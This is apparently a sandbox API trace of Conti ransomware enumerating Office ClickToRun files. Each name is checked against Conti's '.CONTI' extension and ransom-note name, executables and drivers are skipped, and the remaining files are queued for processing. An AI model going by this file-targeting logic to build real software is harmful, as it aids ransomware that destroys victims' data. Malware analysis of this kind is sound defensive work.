	[0098.771] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437adb83, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x437adb83, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x247ecc35, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44e23, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="AirSpace.Etw.man", cAlternateFileName="AIRSPA~1.MAN")) returned 1
	[0098.771] lstrcmpiW (lpString1="AirSpace.Etw.man", lpString2=".") returned 1
	[0098.771] lstrcmpiW (lpString1="AirSpace.Etw.man", lpString2="..") returned 1
	[0098.771] StrStrIW (lpFirst="AirSpace.Etw.man", lpSrch=".CONTI") returned 0x0
	[0098.771] StrStrIW (lpFirst="AirSpace.Etw.man", lpSrch="CONTI_README.txt") returned 0x0
	[0098.771] StrStrIW (lpFirst="AirSpace.Etw.man", lpSrch=".exe") returned 0x0
	[0098.771] StrStrIW (lpFirst="AirSpace.Etw.man", lpSrch=".dll") returned 0x0
	[0098.771] StrStrIW (lpFirst="AirSpace.Etw.man", lpSrch=".lnk") returned 0x0
	[0098.771] StrStrIW (lpFirst="AirSpace.Etw.man", lpSrch=".sys") returned 0x0
	[0098.771] StrStrIW (lpFirst="AirSpace.Etw.man", lpSrch=".CONTI") returned 0x0
	[0098.771] StrStrIW (lpFirst="AirSpace.Etw.man", lpSrch="CONTI_README.txt") returned 0x0
	[0098.772] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.772] lstrlenW (lpString="AirSpace.Etw.man") returned 16
	[0098.772] GetProcessHeap () returned 0x1720000
	[0098.772] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0098.772] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.772] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.772] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="AirSpace.Etw.man" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man"
	[0098.772] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4d38) returned 1
	[0098.772] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2686ce0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91f0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", cAlternateFileName="C25A45~1.XML")) returned 1
	[0098.772] lstrcmpiW (lpString1="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.772] lstrcmpiW (lpString1="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.772] StrStrIW (lpFirst="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.772] StrStrIW (lpFirst="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.772] StrStrIW (lpFirst="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.772] StrStrIW (lpFirst="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.772] StrStrIW (lpFirst="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.772] StrStrIW (lpFirst="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.772] StrStrIW (lpFirst="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.772] StrStrIW (lpFirst="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.772] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.772] lstrlenW (lpString="C2RManifest.Access.Access.x-none.msi.16.x-none.xml") returned 50
	[0098.772] GetProcessHeap () returned 0x1720000
	[0098.772] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xfc) returned 0x17c3b08
	[0098.772] lstrcpyW (in: lpString1=0x17c3b08, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.772] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.772] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.Access.Access.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml"
	[0098.772] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d61c0) returned 1
	[0098.772] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd356d87a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe71c, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.accessmui.msi.16.en-us.xml", cAlternateFileName="C222C2~1.XML")) returned 1
	[0098.772] lstrcmpiW (lpString1="C2RManifest.accessmui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.772] lstrcmpiW (lpString1="C2RManifest.accessmui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.773] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.773] lstrlenW (lpString="C2RManifest.accessmui.msi.16.en-us.xml") returned 38
	[0098.773] GetProcessHeap () returned 0x1720000
	[0098.773] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe4) returned 0x17c3c10
	[0098.773] lstrcpyW (in: lpString1=0x17c3c10, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.773] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.773] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.accessmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml"
	[0098.773] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5d30) returned 1
	[0098.773] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31d9ff6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.accessmuiset.msi.16.en-us.xml", cAlternateFileName="C2FB2E~1.XML")) returned 1
	[0098.773] lstrcmpiW (lpString1="C2RManifest.accessmuiset.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.773] lstrcmpiW (lpString1="C2RManifest.accessmuiset.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmuiset.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmuiset.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmuiset.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmuiset.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmuiset.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmuiset.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmuiset.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.773] StrStrIW (lpFirst="C2RManifest.accessmuiset.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.773] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.773] lstrlenW (lpString="C2RManifest.accessmuiset.msi.16.en-us.xml") returned 41
	[0098.773] GetProcessHeap () returned 0x1720000
	[0098.773] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xea) returned 0x17c3d00
	[0098.773] lstrcpyW (in: lpString1=0x17c3d00, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.773] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.774] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.accessmuiset.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml"
	[0098.774] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4418) returned 1
	[0098.774] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26f9444, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", cAlternateFileName="C210C4~1.XML")) returned 1
	[0098.774] lstrcmpiW (lpString1="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.774] lstrcmpiW (lpString1="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.774] StrStrIW (lpFirst="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.774] StrStrIW (lpFirst="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.774] StrStrIW (lpFirst="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.774] StrStrIW (lpFirst="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.774] StrStrIW (lpFirst="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.774] StrStrIW (lpFirst="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.774] StrStrIW (lpFirst="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.774] StrStrIW (lpFirst="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.774] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.774] lstrlenW (lpString="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml") returned 44
	[0098.774] GetProcessHeap () returned 0x1720000
	[0098.774] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xf0) returned 0x17c3df8
	[0098.774] lstrcpyW (in: lpString1=0x17c3df8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.774] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.774] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml"
	[0098.774] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5658) returned 1
	[0098.774] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31415cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.dcfmui.msi.16.en-us.xml", cAlternateFileName="C206B0~1.XML")) returned 1
	[0098.774] lstrcmpiW (lpString1="C2RManifest.dcfmui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.774] lstrcmpiW (lpString1="C2RManifest.dcfmui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.774] StrStrIW (lpFirst="C2RManifest.dcfmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.774] StrStrIW (lpFirst="C2RManifest.dcfmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.774] StrStrIW (lpFirst="C2RManifest.dcfmui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.774] StrStrIW (lpFirst="C2RManifest.dcfmui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.774] StrStrIW (lpFirst="C2RManifest.dcfmui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.774] StrStrIW (lpFirst="C2RManifest.dcfmui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.774] StrStrIW (lpFirst="C2RManifest.dcfmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.774] StrStrIW (lpFirst="C2RManifest.dcfmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.774] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.775] lstrlenW (lpString="C2RManifest.dcfmui.msi.16.en-us.xml") returned 35
	[0098.775] GetProcessHeap () returned 0x1720000
	[0098.775] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xde) returned 0x17c3ef0
	[0098.775] lstrcpyW (in: lpString1=0x17c3ef0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.775] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.775] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.dcfmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml"
	[0098.775] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d58a0) returned 1
	[0098.775] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed611426, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed611426, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd252f7b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39d9c, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", cAlternateFileName="C21578~1.XML")) returned 1
	[0098.775] lstrcmpiW (lpString1="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.775] lstrcmpiW (lpString1="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.775] StrStrIW (lpFirst="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.775] StrStrIW (lpFirst="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.775] StrStrIW (lpFirst="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.775] StrStrIW (lpFirst="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.775] StrStrIW (lpFirst="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.775] StrStrIW (lpFirst="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.775] StrStrIW (lpFirst="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.775] StrStrIW (lpFirst="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.775] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.775] lstrlenW (lpString="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml") returned 48
	[0098.775] GetProcessHeap () returned 0x1720000
	[0098.775] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xf8) returned 0x17bf438
	[0098.775] lstrcpyW (in: lpString1=0x17bf438, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.775] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.775] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml"
	[0098.775] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2428) returned 1
	[0098.775] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c4f9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5c4f9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd330b2e9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f70, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.excelmui.msi.16.en-us.xml", cAlternateFileName="C2D2CD~1.XML")) returned 1
	[0098.775] lstrcmpiW (lpString1="C2RManifest.excelmui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.775] lstrcmpiW (lpString1="C2RManifest.excelmui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.775] StrStrIW (lpFirst="C2RManifest.excelmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.775] StrStrIW (lpFirst="C2RManifest.excelmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.775] StrStrIW (lpFirst="C2RManifest.excelmui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.776] StrStrIW (lpFirst="C2RManifest.excelmui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.776] StrStrIW (lpFirst="C2RManifest.excelmui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.776] StrStrIW (lpFirst="C2RManifest.excelmui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.776] StrStrIW (lpFirst="C2RManifest.excelmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.776] StrStrIW (lpFirst="C2RManifest.excelmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.776] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.776] lstrlenW (lpString="C2RManifest.excelmui.msi.16.en-us.xml") returned 37
	[0098.776] GetProcessHeap () returned 0x1720000
